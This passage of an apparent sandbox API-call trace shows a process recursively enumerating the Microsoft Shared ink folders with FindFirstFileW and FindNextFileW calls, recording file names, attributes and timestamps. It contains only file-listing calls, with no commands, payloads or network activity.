ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbers", cAlternateFileName="")) returned 1 [0054.292] GetLastError () returned 0x12 [0054.292] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\*"), lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88e0 [0054.292] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.292] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7e6a73, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f7e6a73, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7e6a73, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbase.xml", cAlternateFileName="")) returned 1 [0054.292] GetLastError () returned 0x12 [0054.293] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7e6a73, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f7e6a73, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7e6a73, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbase.xml", cAlternateFileName="")) returned 0 [0054.293] FindClose (in: hFindFile=0x4d88e0 | out: hFindFile=0x4d88e0) returned 1 [0054.293] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3830088 | out: hHeap=0xab0000) returned 1 [0054.293] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f79a7b7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f79a7b7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7c0915, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbers.xml", cAlternateFileName="")) returned 1 [0054.293] GetLastError () returned 0x12 [0054.293] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenu", cAlternateFileName="")) returned 1 [0054.293] GetLastError () returned 0x12 [0054.293] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\*"), lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88e0 [0054.294] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.294] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f832d2f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f832d2f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f858e8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 1 [0054.294] GetLastError () returned 0x12 [0054.294] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f832d2f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f832d2f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f858e8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 0 [0054.294] FindClose (in: hFindFile=0x4d88e0 | out: hFindFile=0x4d88e0) returned 1 [0054.294] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3830088 | out: hHeap=0xab0000) returned 1 [0054.295] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f80cbd1, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f80cbd1, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f832d2f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenu.xml", cAlternateFileName="")) returned 1 [0054.295] GetLastError () returned 0x12 [0054.295] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpad", cAlternateFileName="OSKNUM~1")) returned 1 [0054.295] GetLastError () returned 0x12 [0054.295] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\*"), lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88e0 [0054.295] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.295] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdda123, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdda123, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdda123, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 1 [0054.295] GetLastError () returned 0x12 [0054.295] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdda123, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdda123, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdda123, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 0 [0054.296] FindClose (in: hFindFile=0x4d88e0 | out: hFindFile=0x4d88e0) returned 1 [0054.296] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3830088 | out: hHeap=0xab0000) returned 1 [0054.296] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdb3fc5, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdb3fc5, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdb3fc5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpad.xml", cAlternateFileName="")) returned 1 [0054.296] GetLastError () returned 0x12 [0054.296] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpred", cAlternateFileName="")) returned 1 [0054.296] GetLastError () returned 0x12 [0054.296] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\*"), lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88e0 [0054.296] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.296] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe263df, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe263df, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe263df, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 1 [0054.296] GetLastError () returned 0x12 [0054.297] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe263df, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe263df, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe263df, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 0 [0054.297] FindClose (in: hFindFile=0x4d88e0 | out: hFindFile=0x4d88e0) returned 1 [0054.297] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3830088 | out: hHeap=0xab0000) returned 1 [0054.297] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe00281, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe00281, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe00281, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpred.xml", cAlternateFileName="")) returned 1 [0054.297] GetLastError () returned 0x12 [0054.297] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols", cAlternateFileName="")) returned 1 [0054.297] GetLastError () returned 0x12 [0054.297] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\*"), lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88e0 [0054.297] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.297] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dc0758, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1dc0758, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x900155a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea-sym.xml", cAlternateFileName="")) returned 1 [0054.297] GetLastError () returned 0x12 [0054.297] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9a5fb, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d9a5fb, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x900155a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp-sym.xml", cAlternateFileName="")) returned 1 [0054.298] GetLastError () returned 0x12 [0054.298] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9003b703, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9003b703, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xacc, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 1 [0054.298] GetLastError () returned 0x12 [0054.298] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9003b703, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9003b703, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xacc, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 0 [0054.298] FindClose (in: hFindFile=0x4d88e0 | out: hFindFile=0x4d88e0) returned 1 [0054.298] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3830088 | out: hHeap=0xab0000) returned 1 [0054.298] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe7269b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe7269b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe7269b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols.xml", cAlternateFileName="")) returned 1 [0054.298] GetLastError () returned 0x12 [0054.298] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="web", cAlternateFileName="")) returned 1 [0054.298] GetLastError () returned 0x12 [0054.298] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\*"), lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8820 [0054.480] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.502] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900d3c7b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x900d3c7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x900f9dd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0x0, dwReserved1=0x0, cFileName="webbase.xml", cAlternateFileName="")) returned 1 [0054.502] GetLastError () returned 0x12 [0054.502] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900d3c7b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x900d3c7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x900f9dd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0x0, dwReserved1=0x0, cFileName="webbase.xml", cAlternateFileName="")) returned 0 [0054.502] FindClose (in: hFindFile=0x4d8820 | out: hFindFile=0x4d8820) returned 1 [0054.502] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3830088 | out: hHeap=0xab0000) returned 1 [0054.502] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90061861, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x90061861, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="web.xml", cAlternateFileName="")) returned 1 [0054.502] GetLastError () returned 0x12 [0054.502] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90061861, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x90061861, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="web.xml", cAlternateFileName="")) returned 0 [0054.502] FindClose (in: hFindFile=0x4d88a0 | out: hFindFile=0x4d88a0) returned 1 [0054.503] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3800070 | out: hHeap=0xab0000) returned 1 [0054.503] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-IL", cAlternateFileName="")) returned 1 [0054.504] GetLastError () returned 0x12 [0054.504] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, 